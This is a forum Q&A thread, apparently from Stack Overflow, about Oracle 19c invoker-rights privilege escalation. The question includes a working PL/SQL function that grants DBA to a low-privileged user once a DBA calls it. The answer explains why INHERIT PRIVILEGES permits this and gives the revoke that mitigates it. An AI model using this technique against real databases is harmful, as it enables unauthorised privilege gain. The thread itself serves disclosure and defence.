仰望星空
仰望星空

Reputation: 31

Is this a vulnerability for Oracle 19c database privilege escalation?

The following test cases and their results were obtained from experiments conducted in Oracle19c。 Experiment 1:

SYS:
CREATE USER AAA IDENTIFIED BY 123456789;
CREATE USER BBB IDENTIFIED BY 123456789;
GRANT CREATE SESSION TO AAA;
GRANT CREATE SESSION TO BBB;
GRANT DBA TO AAA;

AAA:
GRANT CREATE PROCEDURE TO BBB;

BBB:
CREATE OR REPLACE FUNCTION GET_DBA RETURN VARCHAR 
    AUTHID CURRENT_USER IS
    PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
    EXECUTE IMMEDIATE 'GRANT DBA TO BBB';
    RETURN 'Granted'; 
EXCEPTION
    WHEN OTHERS THEN
        RETURN SQLERRM; 
END;
/
GRANT EXECUTE ON GET_DBA TO PUBLIC;

AAA:
SELECT BBB.GET_DBA() FROM DUAL;

The result of this experiment is that AAA executed BBB's function, and BBB's privilege was elevated to DBA privilege.May I ask if this is safe for a database? Is there a corresponding database security model that can serve as a reference standard?

Experiment 2: If the AAA user in Experiment 1 is removed and the SYS user provided by Oracle is used as the DBA user, the BBB permission upgrade will fail with the error result ORA-06598: INHERIT PRIMILEGES Insufficient Permissions。

What are the inheritance permissions here? Why did this error occur? Are the above two experiments security vulnerabilities?Looking forward to everyone's communication

Upvotes: 2

Views: 95

Answers (1)

Paul W
Paul W

Reputation: 11363

I agree that this is a security hole, a basic "privilege escalation" attack. In 12c Oracle introduced measures to counter this by creating the INHERIT PRIVILEGES privilege, and by default stripped this from SYS/SYSTEM to keep people from using those accounts for privilege escalation using invoker-rights procedures. However, it was half-baked and still doesn't provide the protection it should, precisely as you've found, when a non-default user is created and elevated.

When you create any user, PUBLIC automatically gets INHERIT PRIVILEGES on that user:

CREATE USER AAA IDENTIFIED BY 123456789;

SELECT *
  FROM dba_tab_privs
 WHERE grantee = 'PUBLIC'
 AND table_name = 'AAA'

This means AAA can call any and all invoker-rights procedures owned by others. That makes sense since AAA is a non-privileged account, so can't be used for privilege escalation. But when you grant DBA to it:

GRANT DBA TO AAA;

Now this is a privileged account, but Oracle fails to remove the INHERIT PRIVILEGES on this user:

SELECT *
  FROM dba_tab_privs
 WHERE grantee = 'PUBLIC'
 AND table_name = 'AAA'

Still shows the priv! That's why AAA can invoke BBB's procedure and fall into the security hole of a privilege escalation attack, whereas SYS and SYSTEM are protected because out of the box PUBLIC does not have INHERIT PRIVILEGES on those users. Oracle screwed up here, as if SYS/SYSTEM were the only accounts they had to worry about.

The solution is to revoke the INHERIT PRIVILEGES:

revoke inherit privileges on user aaa from public

No longer can aaa be used by bbb or anyone else for a privilege escalation attack. The moral of the story is: don't ever grant DBA or equivalent privs (like GRANT ANY *) to a user without immediate following it by a revoke inherit privileges on user * from public.

Hopefully Oracle will in the future fix this so that the moment a user becomes elevated this is automatically revoked. Or better yet, jettison this whole INHERIT PRIVILEGES concept and instead check for elevated privs at call time.

Until then, a DBA should know better than to execute code written by a non-DBA. DBAs should always seek to understand what a user is asking them to do and its consequences before blindly running stuff they send over. It might also be wise to use SYS/SYSTEM (or connect with sysdba) or some other standardized account for DBA work rather than using individual personal accounts with the DBA role.

Upvotes: 3

Related Questions